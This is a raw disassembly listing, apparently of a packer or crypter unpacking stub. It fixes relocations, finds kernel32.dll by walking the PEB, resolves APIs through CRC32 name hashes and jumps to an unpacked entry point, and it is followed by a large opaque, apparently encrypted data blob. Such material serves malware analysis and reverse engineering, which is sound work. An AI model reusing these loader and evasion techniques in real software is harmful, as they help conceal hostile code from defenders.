loc_469D3C: ; CODE XREF: DMN1:00469D32j
mov esi, [ebp+2B6h]
mov ecx, [esi+0A4h]
jecxz short loc_469D8D
mov ecx, [esi+0A0h]
jecxz short loc_469D8D
mov esi, [ebp+2AAh]
add esi, ecx
loc_469D5A: ; CODE XREF: DMN1:00469D6Bj
; DMN1:00469D8Bj
lodsd
or eax, eax
jz short loc_469D8D
add eax, [ebp+2AAh]
mov edx, eax
lodsd
sub eax, 8
jz short loc_469D5A
mov ecx, eax
shr ecx, 1
loc_469D71: ; CODE XREF: DMN1:loc_469D89j
lodsw
test ah, 30h
jz short loc_469D89
and eax, 0FFFh
add eax, edx
mov ebx, [eax]
add ebx, [ebp+2AEh]
mov [eax], ebx
loc_469D89: ; CODE XREF: DMN1:00469D76j
loop loc_469D71
jmp short loc_469D5A
; ---------------------------------------------------------------------------
loc_469D8D: ; CODE XREF: DMN1:00469D48j
; DMN1:00469D50j ...
mov edx, [ebp+308h]
add edx, [ebp+2AAh]
mov [ebp+2A2h], edx
mov esi, [ebp+2B6h]
mov esi, [esi+80h]
or esi, esi
jz loc_469E44
add esi, [ebp+2AAh]
loc_469DB9: ; CODE XREF: DMN1:00469E3Fj
mov eax, [esi+0Ch]
or eax, eax
jz loc_469E44
push esi
add eax, [ebp+2AAh]
cmp byte ptr [eax], 0
jz short loc_469E3A
push eax
call dword ptr [ebp+4ADh]
or eax, eax
jz loc_469E97
mov esi, [esp]
push eax
mov edi, [esi+10h]
or edi, edi
jz short loc_469E3A
mov eax, edi
add edi, [ebp+2AAh]
mov edx, [esi]
or edx, edx
jnz short loc_469DFA
mov edx, eax
loc_469DFA: ; CODE XREF: DMN1:00469DF6j
add edx, [ebp+2AAh]
loc_469E00: ; CODE XREF: DMN1:00469E38j
mov eax, [edx]
or eax, eax
jz short loc_469E3A
bt eax, 1Fh
jnb short loc_469E13
and eax, 0FFFFh
jmp short loc_469E1C
; ---------------------------------------------------------------------------
loc_469E13: ; CODE XREF: DMN1:00469E0Aj
add eax, [ebp+2AAh]
add eax, 2
loc_469E1C: ; CODE XREF: DMN1:00469E11j
push edx
push eax
push dword ptr [esp+8]
call dword ptr [ebp+4B6h]
or eax, eax
jz short loc_469E97
pop edx
mov [edi], eax
mov eax, 4
add edi, eax
add edx, eax
jmp short loc_469E00
; ---------------------------------------------------------------------------
loc_469E3A: ; CODE XREF: DMN1:00469DCEj
; DMN1:00469DE8j ...
pop eax
pop esi
add esi, 14h
jmp loc_469DB9
; ---------------------------------------------------------------------------
loc_469E44: ; CODE XREF: DMN1:00469DADj
; DMN1:00469DBEj
mov ecx, [ebp+2AAh]
mov eax, [ebp+2A2h]
mov [esp+1Ch], ecx
cld
pusha
mov edi, [ebp+2BEh]
or edi, edi
jz short loc_469E86
mov ecx, [ebp+2A2h]
jecxz short loc_469E7C
mov al, 0B8h
stosb
mov eax, ecx
stosd
mov eax, 0FFh
stosb
mov eax, 0E0h
stosb
jmp short loc_469E86
; ---------------------------------------------------------------------------
loc_469E7C: ; CODE XREF: DMN1:00469E66j
mov al, 0C2h
stosb
mov eax, 0Ch
stosw
loc_469E86: ; CODE XREF: DMN1:00469E5Ej
; DMN1:00469E7Aj
popa
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
cld
or eax, eax
jz short locret_469E94
jmp eax
; ---------------------------------------------------------------------------
locret_469E94: ; CODE XREF: DMN1:00469E90j
retn 0Ch
; ---------------------------------------------------------------------------
loc_469E97: ; CODE XREF: DMN1:00469DD9j
; DMN1:00469E2Aj
mov eax, 1
jmp dword ptr [ebp+4C8h]
; ---------------------------------------------------------------------------
dd offset sub_407AA0
align 4
dd 2 dup(40h), 0
a@a@:
unicode 0, <@€@>
dw 0B000h
dd 0D7660002h, 0F0000046h, 6, 1B810000h, 44h, 0Ch dup(0)
dd 400000h, 2B000h, 7AA0h, 400h, 26600h, 0
; =============== S U B R O U T I N E =======================================
sub_469F18 proc near ; CODE XREF: DMN1:00469C5Fp
var_4 = dword ptr -4
mov eax, large fs:30h
movzx ebx, byte ptr [eax+2]
add eax, ebx
mov eax, [eax+0Ch]
mov edx, [eax+0Ch]
push edx
lea eax, [ebp+471h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
loc_469F40: ; CODE XREF: sub_469F18+9Dj
mov edx, [esp+0Ch+var_4]
mov eax, [edx+18h]
mov ebx, eax
mov eax, [eax+3Ch]
add eax, ebx
mov ecx, [eax+78h]
jecxz short loc_469FAB
cmp dword ptr [eax+7Ch], 0
jz short loc_469FAB
add ecx, ebx
mov esi, [ecx+0Ch]
or esi, esi
jz short loc_469FAB
add esi, ebx
mov eax, [esi]
or eax, 20202020h
mov [ebp+498h], eax
mov eax, [esi+4]
or ax, 2020h
mov [ebp+49Ch], eax
mov eax, [esi+8]
or eax, 202020h
mov [ebp+4A0h], eax
mov byte ptr [ebp+4A4h], 0
lea esi, [ebp+498h]
mov edi, 0Dh
call sub_46A0E7
cmp eax, [ebp+494h]
jz short loc_469FB7
loc_469FAB: ; CODE XREF: sub_469F18+39j
; sub_469F18+3Fj ...
mov edx, [esp+0Ch+var_4]
mov edx, [edx]
mov [esp+0Ch+var_4], edx
jmp short loc_469F40
; ---------------------------------------------------------------------------
loc_469FB7: ; CODE XREF: sub_469F18+91j
mov [ebp+47Ch], ebx
mov esi, [ebx+3Ch]
add esi, ebx
mov esi, [esi+78h]
add esi, ebx
add esi, 1Ch
lodsd
add eax, ebx
mov [ebp+480h], eax
lodsd
add eax, ebx
mov [ebp+484h], eax
lodsd
add eax, ebx
mov [ebp+488h], eax
sub esi, 10h
lodsd
mov [ebp+48Ch], eax
xor edx, edx
mov [ebp+490h], edx
lea eax, [ebp+4A8h]
loc_469FFD: ; CODE XREF: sub_469F18+110j
; sub_469F18+146j
mov esi, [ebp+484h]
add esi, edx
mov esi, [esi]
add esi, [ebp+47Ch]
push eax
push edx
movzx edi, byte ptr [eax+4]
call sub_46A0E7
xchg eax, ebx
pop edx
pop eax
cmp ebx, [eax]
jz short loc_46A02A
add edx, 4
inc dword ptr [ebp+490h]
jmp short loc_469FFD
; ---------------------------------------------------------------------------
loc_46A02A: ; CODE XREF: sub_469F18+105j
shr edx, 1
add edx, [ebp+488h]
xor ebx, ebx
mov bx, [edx]
shl ebx, 2
add ebx, [ebp+480h]
mov ecx, [ebx]
add ecx, [ebp+47Ch]
mov [eax+5], ecx
add eax, 9
xor edx, edx
mov [ebp+490h], edx
lea ecx, [ebp+4E7h]
cmp eax, ecx
jb short loc_469FFD
mov esp, large fs:0
pop eax
mov large fs:0, eax
pop eax
pop eax
retn
sub_469F18 endp
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov esp, eax
jmp loc_469FAB
; ---------------------------------------------------------------------------
dd 77E60000h, 77E82168h, 77E82FE8h, 77E83E68h, 3A0h, 0
aHfKernel32_dll db '>hf<kernel32.dll',0
align 4
dd 4134D1ADh, 0E805D80Dh, 0C97C1F77h, 0A5FD0FFFh, 890E77E7h
dd 0A0D4402h, 8177E798h, 0C40F571h, 77E75CB5h, 335DDFDCh
dd 0E7339C0Dh, 0FFFB1477h, 0F0440DF3h, 0D4BB77E7h, 9A0F79C3h
db 16h, 0E6h, 77h
; =============== S U B R O U T I N E =======================================
sub_46A0E7 proc near ; CODE XREF: sub_469F18+86p
; sub_469F18+FBp
push ebx
push ecx
push edx
push esi
push edi
cld
xor ecx, ecx
dec ecx
mov edx, ecx
push ebx
loc_46A0F3: ; CODE XREF: sub_46A0E7+35j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_46A102: ; CODE XREF: sub_46A0E7+2Ej
shr bx, 1
rcr ax, 1
jnb short loc_46A113
xor ax, 8320h
xor bx, 0EDB8h
loc_46A113: ; CODE XREF: sub_46A0E7+21j
dec dh
jnz short loc_46A102
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_46A0F3
pop ebx
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn
sub_46A0E7 endp
; ---------------------------------------------------------------------------
db 58h, 0E7h, 88h
dd 9DF279F0h, 0D1CC315h, 0B0C60E65h, 738FA60Dh, 91F9587Ah
dd 98EE2B4Ah, 0A3F797F1h, 853FCC68h, 785C3A2Dh, 6FDDCD99h
dd 0F99C28C2h, 6EB9C086h, 8F50C973h, 8DA2CB4Eh, 8DC9EDEEh
dd 41409C57h, 0F4D3A199h, 9B947003h, 933CC3B9h, 0C470CEF8h
dd 0CB61A9h, 508236AAh, 2721AE7Fh, 0DF58483Eh, 94CEDE92h
dd 0BA12CAF4h, 0B1039356h, 8B9EC765h, 8AAE33C8h, 53EE88C5h
dd 70A3E5C6h, 0CD57F1BEh, 703AB179h, 0C162F35Eh, 2F1A2DD1h
dd 3F0D3585h, 48A22FE6h, 0E20D1C48h, 51C994EEh, 3F42252Ch
dd 81F7A766h, 0D66B6E35h, 0A3035D0h, 700D24C9h, 1CA7A136h
dd 0A35D25BBh, 0F06681A1h, 7F5258Eh, 0E4A78B2h, 6FF49C7h
dd 3433A81h, 6C5E25E4h, 31DDDFC9h, 0F122054Ah, 6B9EE9DCh
dd 839EF761h, 0EE23AD1Dh, 8FB6E89h, 6EAA8C35h, 0A878CC18h
dd 564C02B8h, 74CC0F10h, 929BBE8Eh, 0B201C704h, 6ACE877Bh
dd 0BEE63DC8h, 8B284526h, 77C0EC16h, 2B2365F8h, 87DC93E0h
dd 2B17E519h, 93B7CBA1h, 35B1C87Dh, 0A089D678h, 7B7B03ADh
dd 751CDCB3h, 0A0EE0FFFh, 9A56CC04h, 6BB85F46h, 0FCF3A56Fh
dd 470FCDB4h, 7629AC3Dh, 7E437055h, 0F392A9C3h, 6E2ED93Ch
dd 0E5E83781h, 0F713D692h, 0F367B8E5h, 4713E85Ah, 0C46279E9h
dd 0DD905B38h, 0B71FE741h, 4B9CB5E3h, 0F53716F5h, 74276C63h
dd 0AA058E9Bh, 9E5051C6h, 0E297798h, 8ABAD528h, 0A3D32686h
dd 4E289A06h, 0C2D43178h, 28940926h, 7BFE5452h, 209B3510h
dd 983ED0F8h, 0A90645A4h, 43C67892h, 0F0874869h, 45DF1660h
dd 0EB93AF4h, 9F013887h, 75D151A5h, 0AB0EF5F5h, 0CD637E45h
dd 83F4496Fh, 5D099FFDh, 70608337h, 7EB56431h, 910304h
dd 0EE92592Ch, 0DB626D19h, 0E52295D8h, 0E0403030h, 240AF54Ch
dd 811DD567h, 9C8FC514h, 43183D34h, 0E2CD8943h, 3C1648A9h
dd 0AF958E58h, 597502E2h, 0BC277684h, 6BBBC262h, 3848C49Ah
dd 0D2FC8832h, 52AC1D43h, 0CCAC1BCEh, 0D951FAC3h, 2DE85EB9h
dd 874CDAACh, 0A6A3E80Bh, 2207EB08h, 7852122Ch, 93D9FF28h
dd 7BF4EF4Bh, 0EA34DDB9h, 0C7349730h, 31398B43h, 29F15EEBh
dd 8EF37249h, 4E233532h, 0C3FA3FFBh, 4166B7F0h, 9FD317C5h
dd 3E32F36h, 7057E2D0h, 174DEB4Ah, 0D3F2E550h, 0C738BCE3h
dd 0B7924606h, 0A1C98696h, 74ADB70Ah, 15B53D1Dh, 343F3AD7h
dd 0EAFDB2ECh, 0DF842867h, 9B48FA63h, 89105879h, 6B31122Dh
dd 71E2A05Ah, 5058F23Fh, 33866B3h, 0E867F5FAh, 45A17565h
dd 0F9C6F8EFh, 0F39146E7h, 805E1F4Dh, 0BF63CD6Eh, 0F129B48Ch
dd 51F79AA4h, 0C639E1C3h, 152E0469h, 0A77C6A5Ch, 600573ABh
dd 0E299A87Dh, 35084E4Fh, 0F333B098h, 50D34A59h, 9C411529h
dd 0E928A1CEh, 303F289Ch, 825F24F6h, 7899DEBh, 45AC7146h
dd 6C308F12h, 0D2FB4C78h, 0CA14686Fh, 820D6D56h, 0A2DF44FFh
dd 3BEB901Fh, 0C06828Ah, 79E58392h, 1CEAA794h, 0E514EBAh
dd 9FA5A257h, 0B3A7DD11h, 0F77C5E2h, 601AB174h, 0C3F3AB3Fh
dd 674DDF1Bh, 21426531h, 0D192BB2Eh, 931D5FF8h, 8ABF64B2h
dd 58EE12FCh, 0CDCD0733h, 4DF111CAh, 2CD5EAE6h, 23981236h
dd 3E8E729Eh, 0A3CB6239h, 323DDD79h, 0C843B5D4h, 0E9B0AF1Fh
dd 2E80C705h, 0B6314A67h, 9902DA49h, 0A17B3B72h, 444457A7h
dd 0FE67374Bh, 502C2EA4h, 149D0529h, 2A22EEE7h, 2BADDD3Ah
dd 71B0B099h, 0ECD2411h, 44E4B224h, 651AB3F2h, 0AA805E7Fh
dd 0EDCC483Ah, 46CCCB5Ah, 0C90E55CEh, 0EDE3F90Dh, 5B92D219h
dd 0BB8556DCh, 0D0A68640h, 534F6AC4h, 857043FFh, 4D3F1C18h
dd 0E353AFEEh, 50FE8E9Fh, 0F39CFC7Ch, 82462FA5h, 15560513h
dd 2FE9A330h, 7A84831Bh, 3A1B7DB0h, 0B3D1568Bh, 63BD4950h
dd 922F971Ch, 0C9A70F55h, 0D532B55Ch, 6B858E55h, 0DA76031Dh
dd 0B6403860h, 788C3819h, 75ADCF81h, 6AE5FE63h, 0BAD2BEA8h
dd 96B2C855h, 0CA8F609h, 991C7E8Ah, 6CEF07F4h, 0D203E4FDh
dd 0F623E8D6h, 35322D34h, 63749DC5h, 0D8ACE27Ch, 0F816B11Bh
dd 1AFC5C8Eh, 3389C783h, 0F8E63AF9h, 76608858h, 0EB6503F6h
dd 43EA1C89h, 0FF2B9BDAh, 0AEDC59F0h, 94C7C591h, 86E870DAh
dd 94B7C3FDh, 8027FF7Eh, 92209088h, 0CF8DE07Ah, 9399B0F0h
dd 2465AAC4h, 55D5F3EFh, 2FBC0284h, 6BEC299Dh, 15F53C4h
dd 0B3EB008h, 114E52F6h, 5382896Eh, 0E6045074h, 39541E75h
dd 41643634h, 0EF42EB3Eh, 0D722E974h, 0A29125FDh, 78E5B0E2h
dd 0B56BD89Ah, 0B0841686h, 742CFA1Bh, 30F2615Dh, 5AF80E9Fh
dd 0C5090C04h, 130A3F66h, 9B35FF96h, 0C411C198h, 812B8909h
dd 0E5E899B2h, 14ED4908h, 97FE800Dh, 470F1B4Dh, 1341C9BAh
dd 9946F488h, 90DF9977h, 1532A22Fh, 0A8D9BA00h, 0E00DC0E4h
dd 0A010B82Dh, 0E38F25C6h, 0F633002Bh, 0A6C5874Ah, 1FA9CF44h
dd 758C012Eh, 6B27E086h, 5FB01D1Ah, 45E50DCBh, 838F8AD8h
dd 0AA46D686h, 7F110D78h, 954A98F5h, 50561776h, 0BEBCA8EBh
dd 685B2F34h, 0A79C3F6Ch, 9CE13145h, 74F90716h, 6544E21Ah
dd 381F2AE6h, 0C79A1710h, 21FE3662h, 9A0AF933h, 3FE2C473h
dd 9A621EF6h, 75ACB560h, 21F417C4h, 3853C1AFh, 304602DFh
dd 0D7FD7BE7h, 0BAC4AF65h, 0E19D94F0h, 0A31610F7h, 0FA1F4053h
dd 71832078h, 0F8A67E13h, 34EA5DC6h, 0D054D804h, 346A3CEAh
dd 12F4B3EFh, 0B42D24CFh, 32360DA5h, 3CEEDB5h, 0BE6027DFh
dd 0F689D436h, 0DB7440BBh, 336F8FAAh, 0C6DBDD6Ch, 933EF57Fh
dd 0BB8874ADh, 0B7BB66D6h, 29847C3Eh, 0BAFE54D4h, 7DFAE895h
dd 0BD4B59A5h, 63FECB26h, 0CF9EE9D4h, 9A21EDBEh, 55FE4892h
dd 0EEE4CB51h, 283DF4EEh, 6C66471Bh, 76994B7Ah, 0C142AF8Ch
dd 0A82FB594h, 490B9D10h, 0B8DE632Ch, 0E5374526h, 0C702EF71h
dd 0F9A1636Ah, 40B945B4h, 164933E8h, 0A9D6BEh, 6F7A36FBh
dd 36751BF0h, 0BB58074Dh, 93DABEB8h, 0E010F59h, 8703908Eh
dd 0B6D837D5h, 0B1F4A52Bh, 0AC76FD5Dh, 9D8349F9h, 5E2EC0EAh
dd 125F058Eh, 906CBC04h, 29A0A34h, 0D9CAACCEh, 2ECD67D4h
dd 0C9E4CBFBh, 0C574C191h, 1773AF83h, 0AEC584DAh, 0A22A538Dh
dd 37F80C3Ah, 0FD659781h, 0A830B08Eh, 95C0DBh, 938C0253h
dd 43E933C5h, 2F68B5F9h, 569A449Eh, 9ADE9999h, 0E6FF871Ah
dd 37D98322h, 9E08E26Dh, 0E09C7ED8h, 9D24E346h, 0F6843F45h
dd 5FAA1C0Eh, 0FC603692h, 9B500D76h, 407C66AEh, 0BF6DA16Bh
dd 0A7866A52h, 0A7F46F3Fh, 95EE6737h, 49B245B4h, 8BD51AF5h
dd 9BEAB190h, 200F5F93h, 5745000Ah, 0EFFE3C46h, 143E88C3h
dd 290F35A9h, 418197BFh, 769B5995h, 4834BFA9h, 14A77070h
dd 4EE798B3h, 19D63B8Fh, 86E4063Dh, 0B1B8CCD2h, 43978A29h
dd 541D8F69h, 95FB5D7Ah, 3BC0FD24h, 1249A04Dh, 5A7FC5C4h
dd 49162E15h, 11F76913h, 9BAAA0AAh, 19A2D068h, 679A13FEh
dd 271BC26Ah, 2BD935CEh, 0E0A639EBh, 0FC18242Fh, 4FF038F5h
dd 5F128C48h, 0BF58647h, 21F8231Dh, 0A8CD5C44h, 0D344641Fh
dd 4522B287h, 9EA4A660h, 0FFFCBD99h, 190410C2h, 0C27F499Dh
dd 0F889B252h, 3F62D022h, 42F9860Dh, 0CFC593B8h, 4DB04C99h
dd 27787E13h, 8278BC48h, 944CC18Eh, 73876787h, 0FB348511h
dd 0F9CE32AAh, 4C683B00h, 683E8896h, 57372E8Fh, 0E2DDCEACh
dd 5BD2266Bh, 0F3E7CA9h, 0AEA314AFh, 0B816EC9Bh, 631256Bh
dd 0F9611B2Ah, 0EE0B75D9h
dd 81BA8C7Ch, 7AF362h, 7555725Eh, 754498D6h, 52DB8676h
dd 0BBBBBE74h, 228AC879h, 0BE8E8DDCh, 5A58C16h, 5157569Dh
dd 9F944A2h, 0CBB2AC08h, 951A1D04h, 0A864A341h, 0E2462EAEh
dd 191E3929h, 0E5CD8BDAh, 0A9980DA6h, 55402614h, 45CB2920h
dd 7289B524h, 48556645h, 0AACCA86Ah, 682368D0h, 7D359D15h
dd 0AB9430BCh, 3E95E211h, 97617554h, 2F020F91h, 216FD3ADh
dd 1DD34B1h, 6848CCD3h, 29D4A21Fh, 0F1106998h, 0CD847179h
dd 5D12B983h, 116862D0h, 0CE37CC2h, 256D5054h, 0DD325AB5h
dd 0B6822BEh, 3C85EE48h, 0B711E3C2h, 87562A9Bh, 696090A7h
dd 0C1415900h, 7997A2EDh, 9AA51A41h, 4FF2906h, 1C43E27Bh
dd 88AD51F9h, 1909E564h, 4F3B0439h, 86E8471Bh, 0EF584865h
dd 50A73AFCh, 0D3EF818Ah, 0E1C56BF1h, 2C83C086h, 8E1D875Ah
dd 57C952F4h, 0A3D82422h, 23D21F66h, 5F8DBA33h, 0C1A087E4h
dd 0C5331A56h, 1F5E44F9h, 116B5747h, 23FD8E21h, 44DAC92h
dd 6AE8F616h, 0DC3484C5h, 0FA5A03B1h, 62E093E7h, 0AA273A8Fh
dd 6BA5E376h, 0AE5651C1h, 0E09CA145h, 22133194h, 0FE91D201h
dd 946A3B06h, 50BF08F6h, 5F84B55Bh, 86ECD9B7h, 3B45086Fh
dd 89D67B3Ch, 27861B05h, 10BB4238h, 0B0E57DFEh, 0AC02DB13h
dd 8FAA0720h, 1D8D086Eh, 0E8A87CA2h, 0D19AD8BAh, 493588D4h
dd 0C1A4878Fh, 90EB4171h, 9E443784h, 0BC84E07h, 0A1450791h
dd 7FF1DB64h, 11F85C78h, 3E25092Dh, 0BCEAEB33h, 0A14C16CDh
dd 0E2FDC05h, 0DC325BA9h, 9CD53CCBh, 2A744658h, 0BD46CB1Dh
dd 6A2C8217h, 894C2E82h, 335A2F97h, 5B1D1F59h, 0CCB6C2AEh
dd 7AB62488h, 0ACB5A159h, 65D1C22Eh, 0FC7FD3A4h, 0D99FAE30h
dd 920BA589h, 0B0D3B36Dh, 5D3C8075h, 54924E12h, 0F4A20981h
dd 88D65246h, 95B30E9Eh, 0E9D05C02h, 9A7E5C3Bh, 30D769EBh
dd 7B3E8748h, 0BB875275h, 9384996h, 0C16BFCCDh, 6B4736E3h
dd 0E1DF6BA1h, 4C5D84CCh, 1E65FDE3h, 478734F7h, 7C39B96Ah
dd 0B8DA8CC9h, 0A45CADD0h, 411FD061h, 50C16393h, 0FD153DA0h
dd 2743C0F7h, 0AAD9753Ah, 0F74201B9h, 235F4D3Ch, 0FA907BDCh
dd 423E1C97h, 56F54CA9h, 668D6249h, 2BFA636Bh, 0FF7C67B9h
dd 0BB4A2D4Fh, 0CAA41590h, 0A75BFD71h, 0FD543BF8h, 0B2016CF3h
dd 1539A0C5h, 2FB51AE9h, 50F0ECCCh, 0ABF9EB13h, 5694A423h
dd 2F85D714h, 2CAA3D74h, 1F41027Eh, 4A0CEFDBh, 1B53EF62h
dd 0C2AB1EAEh, 949C7C06h, 45D9721h, 1EACB0EDh, 6194B3E9h
dd 5D3F87D2h, 250B8A8Dh, 0FB92938Ah, 147281B0h, 733EAB4Ah
dd 6F312AD2h, 0C27F5860h, 9CD53A99h, 4771A4E5h, 0CB927374h
dd 8B62DF7Bh, 0E8EF155Bh, 653EA82Bh, 2E91D296h, 39F2F7F1h
dd 0EB251F6Dh, 4062B634h, 19CD937Ch, 0C3400209h, 82542171h
dd 0A8510E23h, 0C4EEA175h, 0A6922496h, 373C44A0h, 0B66FBDBh
dd 3630A5BFh, 50E7A03Ah, 225C034Ch, 0A3414C79h, 0A5D64576h
dd 98F7190Fh, 369A856Bh, 96C2F65Bh, 0D159811Ch, 0E0931036h
dd 0EB21A169h, 0C61070C9h, 1D7D81D6h, 97C899C3h, 84D51E71h
dd 599B8FA0h, 8CA43F4h, 3A478499h, 70EE139h, 8113C561h
dd 399FA6CAh, 9B34D95Bh, 88AE3424h, 8DA614DCh, 0AB3B8493h
dd 0DA6D5A2Fh, 488CBF98h, 433DB0CBh, 7ADD8C83h, 0A8E43453h
dd 2F4E8F82h, 0A6118FFh, 0A9AE7E7Fh, 21D9F3AEh, 0ED726FCDh
dd 3C337618h, 66E72C3h, 4DCB2292h, 6F00DDB0h, 78632ABBh
dd 0C8A98405h, 7E36D44Fh, 4A22595Ch, 4B813D19h, 0C83DCBA9h
dd 4B876BABh, 3FD7B34Dh, 0DE5C542h, 0C78E623Dh, 5F440A7Fh
dd 5213BD04h, 175403EAh, 0F086951Eh, 5F716EE6h, 0C071A9A0h
dd 0F854B882h, 0FFD56ABEh, 16635ADDh, 4425AF3Ch, 7EC6B8BEh
dd 21AAEBBDh, 0F91693D4h, 51EA9FC4h, 0EE7A161Dh, 64E72764h
dd 7144F312h, 3E8D6777h, 6E195D3Ch, 59981205h, 0FBB3E4CCh
dd 2AD91CEFh, 32F697DDh, 9F561815h, 74654E21h, 0D73B664h
dd 607BEE5Ch, 881651F1h, 8D8A658Ah, 0F25E516Ch, 8722BBBEh
dd 5595038Fh, 0B8C8FB1Eh, 0AAF91D99h, 0A969BC29h, 0A1D3EE35h
dd 0F4A4D55Eh, 0CB83DD41h, 0E2D1286h, 66DEE831h, 0E1968D6Dh
dd 78260512h, 7EAC2CC0h, 81D994ABh, 351275AEh, 1F9C869Fh
dd 3779A61Ch, 67D75D1h, 0EA93F468h, 4101AA13h, 4D1389CFh
dd 52824564h, 1C2F34D2h, 0F45724E0h, 0F9A9C9B5h, 0B655D8D4h
dd 0E181822Ch, 2A370341h, 9F84FF8Ch, 515C320Ah, 0AAE5E6ADh
dd 9DC68B6Eh, 9A229F07h, 9925B873h, 14C44333h, 0B03C415Ch
dd 5889881h, 99453997h, 59B6835Ah, 91FDCA7Ah, 97FA408h
dd 0FE5E80FFh, 0D8B682DFh, 0A559ADD0h, 3130839Dh, 0C4FBEFF9h
dd 0C9EEBB3Ch, 0D799E06Ch, 40983D10h, 50C93007h, 2F3C6B72h
dd 2D38A81Eh, 1E34E7F7h, 518BD974h, 38B87551h, 0AF086FC8h
dd 2DD10846h, 4D3DF70Ch, 3D5E8BF2h, 3196AC0Eh, 0D61A750Ch
dd 847436BAh, 784AEC24h, 9AE7003Fh, 8EE67EBEh, 0BCF38063h
dd 10233656h, 0C8892ABh, 38FF73Bh, 0D0E95F31h, 0FBFF80A5h
dd 34D71DCCh, 9F521301h, 9C821512h, 0DF917019h, 3F26698Ah
dd 5EB3D54h, 39BB4F22h, 3729Ah, 7A72FB62h, 2BD7FD0Ch, 0B3FEC3C3h
dd 4AFDE8ACh, 0D3CE5B99h, 0DDC7085h, 37B88C44h, 2C8BB584h
dd 35DE00B7h, 0BFB7AA0Fh, 27B6DCF2h, 0ADEB4A91h, 0C1278C9Eh
dd 0F08659DBh, 0CB6479E7h, 59B8695Dh, 8C30768Bh, 70E50503h
dd 0D56CA09Ch, 56BEE639h, 0BD02DE66h, 0F8DFE5E8h, 0BE715A9h
dd 93AC0E4Bh, 0E012DB5h, 8CD5C2A0h, 8F9F57F7h, 0B744C0A0h
dd 975CB3F0h, 0ED0CD0EFh, 2DB0D06Bh, 0C3713D8Bh, 12CA7417h
dd 895F8BC6h, 1EB160A6h, 78F27F81h, 3E8A26Bh, 0A535E0BDh
dd 6810FB55h, 0D29744A7h, 0BAA940EDh, 5B03FFFDh, 35EF22E0h
dd 0CC07DC01h, 3538EE44h, 64CD1FD7h, 407AA485h, 56C84BE8h
dd 0D91F6260h, 58319FBAh, 860B50EAh, 54F98A83h, 51BB822Fh
dd 0F9314D41h, 0AFDB7685h, 1803766Eh, 288980Ah, 82FDEA2Fh
dd 28EF734Ah, 0B864AF7Bh, 0E7F041FBh, 8B78B2E9h, 0BE747874h
dd 2B12398Ah, 0D08E7D9Ch, 24BB6863h, 0CFE56501h, 0E6B31C30h
dd 0E8DA521Ah, 0B2DE70CAh, 485F588Ch, 0B13B190Dh, 4DEE7779h
dd 0BA4CEF0Eh, 0DE4E9016h, 0BAD7AB74h, 9B0A33FCh, 6835C1B5h
dd 0BDC026FBh, 7E6DEC9Bh, 26751D3Dh, 1E2ABFEDh, 0EFE7D985h
dd 99663C59h, 0B6FFE349h, 10943276h, 0ECC39E91h, 755B64FDh
dd 75693268h, 5026AE28h, 93B50CA6h, 4D07BCB9h, 89E15D59h
dd 25162AC3h, 337F84B0h, 0F2D5BF7Eh, 71324CC0h, 0D2C401D1h
dd 0A5B800D9h, 97D2665Ch, 0C768E9FFh, 6BE3EA8Fh, 0FF9EFAF5h
dd 0C86A0C14h, 10DABE94h, 8C64F611h, 0ADF0485Dh, 39DAF1D9h
dd 0BA5EDA44h, 4F8E13F8h, 6CC249B9h, 3A7D7683h, 3AC674DBh
dd 0E9F5F85Bh, 19F081EAh, 9ED8404Fh, 94304DB4h, 8C86DE5Dh
dd 4ADA8884h, 784FC734h, 2693095Ah, 7F934C3h, 8F70B157h
dd 51AE6DD6h, 3ACA1FC9h, 679195C2h, 4336B13Eh, 65710E9Ah
dd 930EB870h, 5372F988h, 2C949ABDh, 0BD0635FEh, 5A1C33FFh
dd 0F150068Bh, 8D4541C3h, 2F1CD1EBh, 94596346h, 89D93E7Bh
dd 0B44198F9h, 0A00D22F3h, 0BC3600F1h, 735B9E2Eh, 48A4C46Bh
dd 2D1F4220h, 8E23ACB1h, 4B0189A9h, 0E16A8EA7h, 52BD48CDh
dd 0D444F94Eh, 0A07D6CC9h, 286071A4h, 7D6052F3h, 2129FF93h
dd 5AC308B4h
dd 9CD15A08h, 67A4B011h, 0A70F820h, 822C8158h, 0A36E956Ah
dd 507EACE9h, 0F336460h, 0DCE04268h, 20AF08BDh, 436C1680h
dd 0C7D66A6Dh, 738484E7h, 91A46135h, 0F1A73879h, 22AC3EF7h
dd 5E5FA253h, 68BAAB3Ch, 7EED59E6h, 2BBBB0E5h, 5429CF59h
dd 9A48CB8Bh, 0C77E6D6Bh, 5FDC3A15h, 0B4941F1Bh, 415472ACh
dd 0E36A9155h, 8E9C3AA9h, 0A1FC06A6h, 0C877AF9Ch, 79ABF574h
dd 0D5471A5Dh, 7C568F54h, 4A1B943Ah, 52CB3B49h, 29372240h
dd 800C3C53h, 255D5F49h, 18A82527h, 650A4E78h, 42A8C2FCh
dd 8B1C6EC8h, 462C74F4h, 0AA8AA241h, 6F8B847Fh, 0B7DBB357h
dd 9B70EADh, 0D710673Fh, 6A4AA9AAh, 0AD632F66h, 291E996Ah
dd 0A68155A4h, 0C4325019h, 0FE09A967h, 20359B9Bh, 0F9305D70h
dd 0D962E2AEh, 0A8BAF6D7h, 350DC1EFh, 0A438A99Fh, 91FDFA11h
dd 7F4FF8EAh, 9B78EE1h, 732ED740h, 0E9A55A4Fh, 0D2F5C1E5h
dd 0F589CCC5h, 919F225Dh, 804B557Ch, 784F85B4h, 0AE91AFFh
dd 0F7763F43h, 101991FEh, 1301E27h, 3321F9CFh, 4479CA1Dh
dd 19127115h, 4EE614Eh, 0AB8EEEE5h, 0BDCDDCF9h, 5D5212F9h
dd 838C7205h, 8DB44A47h, 0A56D043Ah, 0AEA781CAh, 863E16EEh
dd 69F1164Fh, 2363023h, 0ECA1AFDFh, 0ABC3D6A6h, 0CEACC06Eh
dd 0DA572E25h, 0E92209CFh, 0B6926FECh, 4844AA4Ch, 687F1740h
dd 5C38BCBFh, 0A2A77E3Bh, 4851C940h, 14B25F0Ah, 0A5FF41C9h
dd 2D3C41D9h, 3A519CCh, 66F5F6C8h, 4D134F62h, 85017F5Fh
dd 3A9E61C4h, 571299Eh, 0A00AD812h, 0DBC869F2h, 28BEA3FCh
